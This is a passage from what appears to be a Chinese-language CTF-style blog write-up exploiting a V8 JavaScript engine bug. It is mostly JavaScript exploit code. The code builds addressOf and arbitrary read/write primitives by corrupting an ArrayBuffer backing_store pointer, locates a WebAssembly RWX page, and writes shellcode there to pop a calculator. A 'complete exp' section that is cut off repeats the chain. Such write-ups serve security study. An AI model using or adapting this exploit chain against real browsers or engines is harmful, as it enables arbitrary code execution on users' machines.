ArrayBuffer 对象，改写它的 backing_store 指针，就可以对指向的地方任意读写</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">var</span> buf2write <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">0xbeef</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> data_view <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DataView</span><span class="token punctuation">(</span>buf2write<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> offset_backing_store <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>buf2write<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>调试可以看到，ArrayBuffer 的 length 字段是指定的 0xbeef，用同样的方式，找到 0xbeef 即可找到对应在 a2 数组的索引，随之即可找到 backing_store 指针的位置<br><img src="/images/696ac724/pasted-5.png" alt="upload successful"></p><p>代码如下：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">var</span> buf2write <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">0xbeef</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> data_view <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DataView</span><span class="token punctuation">(</span>buf2write<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> offset_backing_store <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>buf2write<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">0xffff</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">f2i</span><span class="token punctuation">(</span>a2<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0xbeef</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                offset_backing_store <span class="token operator">=</span> i <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span>                <span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">write64</span><span class="token punctuation">(</span><span class="token parameter">addr<span class="token punctuation">,</span> value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        a2<span class="token punctuation">[</span>offset_backing_store<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr<span class="token punctuation">)</span><span class="token punctuation">;</span>        data_view<span class="token punctuation">.</span><span class="token function">setFloat64</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token function">i2f</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">read64</span><span class="token punctuation">(</span><span class="token parameter">addr</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        a2<span class="token punctuation">[</span>offset_backing_store<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token function">f2i</span><span class="token punctuation">(</span>data_view<span class="token punctuation">.</span><span class="token function">getFloat64</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">write64</span><span class="token punctuation">(</span><span class="token function">addressOf</span><span class="token punctuation">(</span>objTest<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">0x18n</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">,</span> <span class="token number">0x2333n</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>objTest<span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'value = 0x'</span> <span class="token operator">+</span> <span class="token function">read64</span><span class="token punctuation">(</span><span class="token function">addressOf</span><span class="token punctuation">(</span>objTest<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">0x18n</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>调试测试一下，这是 ArrayBuffer 修改前：<br><img src="/images/696ac724/pasted-7.png" alt="upload successful"></p><p>然后看到 objTest 被改写了：<br><img src="/images/696ac724/pasted-8.png" alt="upload successful"></p><p><img src="/images/696ac724/pasted-9.png" alt="upload successful"></p><p>ArrayBuffer 也同预期那样，backing_store 指针被改写了：<br><img src="/images/696ac724/pasted-10.png" alt="upload successful"></p><h3 id="利用-wasm-执行-shellcode"><a href="#利用-wasm-执行-shellcode" class="headerlink" title="利用 wasm 执行 shellcode"></a>利用 wasm 执行 shellcode</h3><p>大致按照下面的路线找到 RWX 段的地址，然后注入 shellcode 就行</p><pre class="line-numbers language-none"><code class="language-none">wasmInstance.exports.main -&gt; shared_info -&gt; data -&gt; instance -&gt; rwx_page<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>先构造一个 wasm 对象</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">var</span> wasmCode <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Uint8Array</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">97</span><span class="token punctuation">,</span><span class="token number">115</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">133</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">96</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">127</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">,</span><span class="token number">130</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">132</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">112</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">5</span><span class="token punctuation">,</span><span class="token number">131</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">,</span><span class="token number">129</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">7</span><span class="token punctuation">,</span><span class="token number">145</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">6</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">101</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">111</span><span class="token punctuation">,</span><span class="token number">114</span><span class="token punctuation">,</span><span class="token number">121</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">97</span><span class="token punctuation">,</span><span class="token number">105</span><span class="token punctuation">,</span><span class="token number">110</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">10</span><span class="token punctuation">,</span><span class="token number">138</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">132</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">65</span><span class="token punctuation">,</span><span class="token number">42</span><span class="token punctuation">,</span><span class="token number">11</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> wasmModule <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebAssembly<span class="token punctuation">.</span>Module</span><span class="token punctuation">(</span>wasmCode<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> wasmInstance <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WebAssembly<span class="token punctuation">.</span>Instance</span><span class="token punctuation">(</span>wasmModule<span class="token punctuation">,</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> f <span class="token operator">=</span> wasmInstance<span class="token punctuation">.</span>exports<span class="token punctuation">.</span>main<span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">DebugPrint</span><span class="token punctuation">(</span>f<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">%</span><span class="token function">SystemBreak</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>对象 shared_info 的地址在对象 f 的 +0x18 偏移处：<br><img src="/images/696ac724/pasted-11.png" alt="upload successful"></p><p>对象 data 的地址在 shared_info 的 +0x8 偏移处：<br><img src="/images/696ac724/pasted-12.png" alt="upload successful"></p><p>在 data 偏移 +0x10 处找到 instance 对象的地址：<br><img src="/images/696ac724/pasted-13.png" alt="upload successful"></p><p>在 instance+0xe8 处找到 RWX 段的地址：<br><img src="/images/696ac724/pasted-14.png" alt="upload successful"></p><p><img src="/images/696ac724/pasted-15.png" alt="upload successful"></p><p>找 RWX 段的过程也可以参照本人之前写的 <a href="/3b546c3b">starctf oob 复现</a> 的文章</p><p>写入 shellcode：</p><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">var</span> f_addr <span class="token operator">=</span> <span class="token function">addressOf</span><span class="token punctuation">(</span>f<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">;</span><span class="token keyword">var</span> shared_info_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>f_addr <span class="token operator">+</span> <span class="token number">0x18n</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">;</span><span class="token keyword">var</span> data_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>shared_info_addr <span class="token operator">+</span> <span class="token number">0x8n</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">;</span><span class="token keyword">var</span> instance_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>data_addr <span class="token operator">+</span> <span class="token number">0x10n</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">;</span><span class="token keyword">var</span> rwx_page_addr <span class="token operator">=</span> <span class="token function">read64</span><span class="token punctuation">(</span>instance_addr <span class="token operator">+</span> <span class="token number">0xe8n</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> sc_arr <span class="token operator">=</span> <span class="token punctuation">[</span>    <span class="token number">0x10101010101b848n</span><span class="token punctuation">,</span>    <span class="token number">0x62792eb848500101n</span><span class="token punctuation">,</span>    <span class="token number">0x431480101626d60n</span><span class="token punctuation">,</span>    <span class="token number">0x2f7273752fb84824n</span><span class="token punctuation">,</span>    <span class="token number">0x48e78948506e6962n</span><span class="token punctuation">,</span>    <span class="token number">0x1010101010101b8n</span><span class="token punctuation">,</span>    <span class="token number">0x6d606279b8485001n</span><span class="token punctuation">,</span>    <span class="token number">0x2404314801010162n</span><span class="token punctuation">,</span>    <span class="token number">0x1485e086a56f631n</span><span class="token punctuation">,</span>    <span class="token number">0x313b68e6894856e6n</span><span class="token punctuation">,</span>    <span class="token number">0x101012434810101n</span><span class="token punctuation">,</span>    <span class="token number">0x4c50534944b84801n</span><span class="token punctuation">,</span>    <span class="token number">0x6a52d231503d5941n</span><span class="token punctuation">,</span>    <span class="token number">0x894852e201485a08n</span><span class="token punctuation">,</span>    <span class="token number">0x50f583b6ae2n</span><span class="token punctuation">,</span><span class="token punctuation">]</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0n</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> sc_arr<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">write64</span><span class="token punctuation">(</span>rwx_page_addr <span class="token operator">+</span> i <span class="token operator">*</span> <span class="token number">8n</span><span class="token punctuation">,</span> sc_arr<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>成功弹出计算器：<br><img src="/images/696ac724/pasted-16.png" alt="upload successful"></p><p>生成 shellcode 的脚本同样可以参考之前的文章 <a href="/3b546c3b">starctf oob 复现</a></p><h2 id="完整-exp"><a href="#完整-exp" class="headerlink" title="完整 exp"></a>完整 exp</h2><pre class="line-numbers language-js" data-language="js"><code class="language-js"><span class="token keyword">var</span> fi_buf <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> f_buf <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Float64Array</span><span class="token punctuation">(</span>fi_buf<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> i_buf <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BigUint64Array</span><span class="token punctuation">(</span>fi_buf<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">f2i</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>f_buf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> value<span class="token punctuation">;</span><span class="token keyword">return</span> i_buf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">i2f</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>i_buf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> value<span class="token punctuation">;</span><span class="token keyword">return</span> f_buf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">fun</span><span class="token punctuation">(</span><span class="token parameter">arg</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">let</span> x <span class="token operator">=</span> arguments<span class="token punctuation">.</span>length<span class="token punctuation">;</span>  a1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Array</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  a1<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1.1</span><span class="token punctuation">;</span>  a2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Array</span><span class="token punctuation">(</span><span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  a2<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1.1</span><span class="token punctuation">;</span>  a1<span class="token punctuation">[</span><span class="token punctuation">(</span>x <span class="token operator">>></span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">21</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1.39064994160909e-309</span><span class="token punctuation">;</span>  <span class="token comment">// 0xffff00000000</span>  a1<span class="token punctuation">[</span><span class="token punctuation">(</span>x <span class="token operator">>></span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token operator">*</span> <span class="token number">41</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1.39064994160909e-309</span><span class="token punctuation">;</span>  <span class="token comment">// 0xffff00000000</span><span class="token punctuation">&#125;</span><span class="token keyword">var</span> a1<span class="token punctuation">,</span> a2<span class="token punctuation">;</span><span class="token keyword">var</span> a3 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1.1</span><span class="token punctuation">,</span><span class="token number">2.2</span><span class="token punctuation">]</span><span class="token punctuation">;</span>a3<span class="token punctuation">.</span>length <span class="token operator">=</span> <span class="token number">0x11000</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">100000</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token function">fun</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//%OptimizeFunctionOnNextCall(fun);</span><span class="token function">fun</span><span class="token punctuation">(</span><span class="token operator">...</span>a3<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//console.log(a2.length);</span><span class="token comment">//%DebugPrint(a1);</span><span class="token comment">//%DebugPrint(a2);</span><span class="token comment">//%SystemBreak();</span><span class="token keyword">var</span> objLeak <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token string">'leak'</span><span class="token operator">:</span> <span class="token number">0x1234</span><span class="token punctuation">,</span> <span class="token string">'tag'</span><span class="token operator">:</span> <span class="token number">0x4567</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">var</span> offset_leak <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">0xffff</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">f2i</span><span class="token punctuation">(</span>a2<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0x456700000000</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>offset_leak <span class="token operator">=</span> i <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">;</span><span class="token keyword">break</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'offset_leak = '</span> <span class="token operator">+</span> offset_leak<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">function</span> <span class="token function">addressOf</span><span class="token punctuation">(</span><span class="token parameter">obj</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>objLeak<span class="token punctuation">.</span>leak <span class="token operator">=</span> obj<span class="token punctuation">;</span><span class="token keyword">return</span> <span class="token function">f2i</span><span class="token punctuation">(</span>a2<span class="token punctuation">[</span>offset_leak<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">var</span> objTest <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token string">'aaa'</span><span class="token operator">:</span> <span class="token number">123</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token comment">//%DebugPrint(objTest);</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'addressOf(objTest) = 0x'</span> <span class="token operator">+</span> <span class="token function">addressOf</span><span class="token punctuation">(</span>objTest<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//%SystemBreak();</span><span class="token keyword">var</span> buf2write <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ArrayBuffer</span><span class="token punctuation">(</span><span class="token number">0xbeef</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> data_view <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">DataView</span><span class="token punctuation">(</span>buf2write<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> offset_backing_store <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token comment">//%DebugPrint(buf2write);</span><span class="token comment">//%SystemBreak();</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">0xffff</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">f2i</span><span class="token punctuation">(</span>a2<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0xbeef</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>offset_backing_store <span class="token operator">=</span> i <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">;</span><span class="token keyword">break</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">write64</span><span class="token punctuation">(</span><span class="token parameter">addr<span class="token punctuation">,</span> value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>a2<span class="token punctuation">[</span>offset_backing_store<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr<span class="token punctuation">)</span><span class="token punctuation">;</span>data_view<span class="token punctuation">.</span><span class="token function">setFloat64</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token function">i2f</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token function">read64</span><span class="token punctuation">(</span><span class="token parameter">addr</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>a2<span class="token punctuation">[</span>offset_backing_store<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">i2f</span><span class="token punctuation">(</span>addr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> <span class="token function">f2i</span><span class="token punctuation">(</span>data_view<span class="token punctuation">.</span><span class="token function">getFloat64</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">write64</span><span class="token punctuation">(</span><span class="token function">addressOf</span><span class="token punctuation">(</span>objTest<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">0x18n</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">,</span> <span class="token number">0x2333n</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//%DebugPrint(objTest);</span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">'value = 0x'</span> <span class="token operator">+</span> <span class="token function">read64</span><span class="token punctuation">(</span><span class="token function">addressOf</span><span class="token punctuation">(</span>objTest<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">0x18n</span> <span class="token operator">-</span> <span class="token number">1n</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//%SystemBreak();</span><span class="token keyword">var</span> wasmCode <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Uint8Array</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">97</span><span class="token punctuation">,</span><span class="token number">115</span><span class="token punctuation">,</span><span class="token number">109</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">133</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">96</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">127</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">,</span><span class="token number">130</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">,</span><span class="token number">132</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">128</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">112</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">5</span><span class="token 